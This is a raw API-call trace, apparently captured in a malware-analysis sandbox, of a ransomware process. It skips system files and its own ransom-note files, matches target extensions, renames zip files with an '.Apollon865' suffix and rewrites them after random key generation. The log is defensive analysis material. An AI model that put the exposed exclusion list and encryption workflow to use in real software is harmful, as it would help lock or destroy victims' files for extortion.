	[0054.097] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.098] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.098] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0054.098] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0c30
	[0054.098] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2f60
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0c30 | out: hHeap=0x580000) returned 1
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0054.099] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.099] CloseHandle (hObject=0x154) returned 1
	[0054.099] CloseHandle (hObject=0x150) returned 1
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.099] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.099] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x111e5450, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x226, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="TextFile.zip", cAlternateFileName="")) returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2=".") returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="..") returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="windows") returned -1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="bootmgr") returned 1
	[0054.099] lstrcmpiW (lpString1="TextFile.zip", lpString2="temp") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="pagefile.sys") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="boot") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="ids.txt") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="ntuser.dat") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="perflogs") returned 1
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2="MSBuild") returned 1
	[0054.100] lstrlenW (lpString="TextFile.zip") returned 12
	[0054.100] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\SettingsInternal.zip") returned 112
	[0054.100] lstrcpyW (in: lpString1=0x2d3e608, lpString2="TextFile.zip" | out: lpString1="TextFile.zip") returned="TextFile.zip"
	[0054.100] lstrlenW (lpString="TextFile.zip") returned 12
	[0054.100] lstrlenW (lpString="Apollon865") returned 10
	[0054.100] lstrcmpiW (lpString1="xtFile.zip", lpString2="Apollon865") returned 1
	[0054.100] lstrlenW (lpString=".dll") returned 4
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2=".dll") returned 1
	[0054.100] lstrlenW (lpString=".lnk") returned 4
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2=".lnk") returned 1
	[0054.100] lstrlenW (lpString=".ini") returned 4
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2=".ini") returned 1
	[0054.100] lstrlenW (lpString=".sys") returned 4
	[0054.100] lstrcmpiW (lpString1="TextFile.zip", lpString2=".sys") returned 1
	[0054.100] lstrlenW (lpString="TextFile.zip") returned 12
	[0054.100] lstrlenW (lpString="bak") returned 3
	[0054.100] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.100] lstrlenW (lpString="ba_") returned 3
	[0054.100] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.100] lstrlenW (lpString="dbb") returned 3
	[0054.100] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.100] lstrlenW (lpString="vmdk") returned 4
	[0054.100] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.100] lstrlenW (lpString="rar") returned 3
	[0054.100] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.100] lstrlenW (lpString="zip") returned 3
	[0054.100] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.100] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.Apollon865") returned 115
	[0054.101] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.101] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\textfile.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.101] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=550) returned 1
	[0054.101] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.102] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.102] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.102] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.102] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.103] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x530, lpName=0x0) returned 0x154
	[0054.105] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x530) returned 0x100000
	[0054.105] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0054.106] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.106] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0054.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0054.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.106] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0b18
	[0054.106] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0b18 | out: hHeap=0x580000) returned 1
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.107] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.107] CloseHandle (hObject=0x154) returned 1
	[0054.107] CloseHandle (hObject=0x150) returned 1
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.107] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.107] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x59c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="UserControl.zip", cAlternateFileName="USERCO~1.ZIP")) returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2=".") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="..") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="windows") returned -1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="bootmgr") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="temp") returned 1
	[0054.107] lstrcmpiW (lpString1="UserControl.zip", lpString2="pagefile.sys") returned 1
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2="boot") returned 1
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2="ids.txt") returned 1
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2="ntuser.dat") returned 1
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2="perflogs") returned 1
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2="MSBuild") returned 1
	[0054.108] lstrlenW (lpString="UserControl.zip") returned 15
	[0054.108] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\TextFile.zip") returned 104
	[0054.108] lstrcpyW (in: lpString1=0x2d3e608, lpString2="UserControl.zip" | out: lpString1="UserControl.zip") returned="UserControl.zip"
	[0054.108] lstrlenW (lpString="UserControl.zip") returned 15
	[0054.108] lstrlenW (lpString="Apollon865") returned 10
	[0054.108] lstrcmpiW (lpString1="ontrol.zip", lpString2="Apollon865") returned 1
	[0054.108] lstrlenW (lpString=".dll") returned 4
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2=".dll") returned 1
	[0054.108] lstrlenW (lpString=".lnk") returned 4
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2=".lnk") returned 1
	[0054.108] lstrlenW (lpString=".ini") returned 4
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2=".ini") returned 1
	[0054.108] lstrlenW (lpString=".sys") returned 4
	[0054.108] lstrcmpiW (lpString1="UserControl.zip", lpString2=".sys") returned 1
	[0054.108] lstrlenW (lpString="UserControl.zip") returned 15
	[0054.108] lstrlenW (lpString="bak") returned 3
	[0054.108] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.108] lstrlenW (lpString="ba_") returned 3
	[0054.108] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.108] lstrlenW (lpString="dbb") returned 3
	[0054.108] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.108] lstrlenW (lpString="vmdk") returned 4
	[0054.108] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.108] lstrlenW (lpString="rar") returned 3
	[0054.108] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.108] lstrlenW (lpString="zip") returned 3
	[0054.108] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.108] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.Apollon865") returned 118
	[0054.108] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.109] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\usercontrol.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.109] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1436) returned 1
	[0054.109] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3270020
	[0054.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.110] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.110] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0054.110] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.110] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0054.111] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8a0, lpName=0x0) returned 0xc0
	[0054.112] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8a0) returned 0x100000
	[0054.113] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.114] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.114] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.114] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0054.114] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0054.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.115] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.115] CloseHandle (hObject=0xc0) returned 1
	[0054.115] CloseHandle (hObject=0x150) returned 1
	[0054.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.115] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3270020 | out: hHeap=0x580000) returned 1
	[0054.115] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x1120b5b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x558, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Visualizer.zip", cAlternateFileName="VISUAL~1.ZIP")) returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2=".") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="..") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="windows") returned -1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="bootmgr") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="temp") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="pagefile.sys") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="boot") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="ids.txt") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="ntuser.dat") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="perflogs") returned 1
	[0054.115] lstrcmpiW (lpString1="Visualizer.zip", lpString2="MSBuild") returned 1
	[0054.115] lstrlenW (lpString="Visualizer.zip") returned 14
	[0054.115] lstrlenW (lpString="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\UserControl.zip") returned 107
	[0054.116] lstrcpyW (in: lpString1=0x2d3e608, lpString2="Visualizer.zip" | out: lpString1="Visualizer.zip") returned="Visualizer.zip"
	[0054.116] lstrlenW (lpString="Visualizer.zip") returned 14
	[0054.116] lstrlenW (lpString="Apollon865") returned 10
	[0054.116] lstrcmpiW (lpString1="alizer.zip", lpString2="Apollon865") returned -1
	[0054.116] lstrlenW (lpString=".dll") returned 4
	[0054.116] lstrcmpiW (lpString1="Visualizer.zip", lpString2=".dll") returned 1
	[0054.116] lstrlenW (lpString=".lnk") returned 4
	[0054.116] lstrcmpiW (lpString1="Visualizer.zip", lpString2=".lnk") returned 1
	[0054.116] lstrlenW (lpString=".ini") returned 4
	[0054.116] lstrcmpiW (lpString1="Visualizer.zip", lpString2=".ini") returned 1
	[0054.116] lstrlenW (lpString=".sys") returned 4
	[0054.116] lstrcmpiW (lpString1="Visualizer.zip", lpString2=".sys") returned 1
	[0054.116] lstrlenW (lpString="Visualizer.zip") returned 14
	[0054.116] lstrlenW (lpString="bak") returned 3
	[0054.116] lstrcmpiW (lpString1="zip", lpString2="bak") returned 1
	[0054.116] lstrlenW (lpString="ba_") returned 3
	[0054.116] lstrcmpiW (lpString1="zip", lpString2="ba_") returned 1
	[0054.116] lstrlenW (lpString="dbb") returned 3
	[0054.116] lstrcmpiW (lpString1="zip", lpString2="dbb") returned 1
	[0054.116] lstrlenW (lpString="vmdk") returned 4
	[0054.116] lstrcmpiW (lpString1=".zip", lpString2="vmdk") returned -1
	[0054.116] lstrlenW (lpString="rar") returned 3
	[0054.116] lstrcmpiW (lpString1="zip", lpString2="rar") returned 1
	[0054.116] lstrlenW (lpString="zip") returned 3
	[0054.116] lstrcmpiW (lpString1="zip", lpString2="zip") returned 0
	[0054.116] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.Apollon865") returned 117
	[0054.116] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip"), lpNewFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.apollon865"), dwFlags=0x1) returned 1
	[0054.131] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\Visualizer.zip.Apollon865" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\visualizer.zip.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0054.131] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=1368) returned 1
	[0054.131] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0054.132] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0054.132] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf568
	[0054.132] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf898) returned 1
	[0054.132] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0054.133] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.133] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x860, lpName=0x0) returned 0xc0
	[0054.134] MapViewOfFile (hFileMappingObject=0xc0, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x860) returned 0x100000
	[0054.135] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf898) returned 1
	[0054.136] CryptGenRandom (in: hProv=0x5bf898, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0054.136] CryptReleaseContext (hProv=0x5bf898, dwFlags=0x0) returned 1
	[0054.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59aa10
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa10 | out: hHeap=0x580000) returned 1
	[0054.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6560
	[0054.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6560 | out: hHeap=0x580000) returned 1
	[0054.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0054.136] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2d38
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2d38 | out: hHeap=0x580000) returned 1
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0054.136] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0054.136] CloseHandle (hObject=0xc0) returned 1
	[0054.136] CloseHandle (hObject=0x150) returned 1
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf568 | out: hHeap=0x580000) returned 1
	[0054.136] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0054.137] FindNextFileW (in: hFindFile=0x5ca390, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8c501900, ftCreationTime.dwHighDateTime=0x1c9e43c, ftLastAccessTime.dwLowDateTime=0x11231710, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8c501900, ftLastWriteTime.dwHighDateTime=0x1c9e43c, nFileSizeHigh=0x0, nFileSizeLow=0x251, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="XmlFile.zip", cAlternateFileName="")) returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="Apollon865.txt.exe") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2=".") returned 1
	[0054.137] lstrcmpiW (lpString1="XmlFile.zip", lpString2="..") returned 1
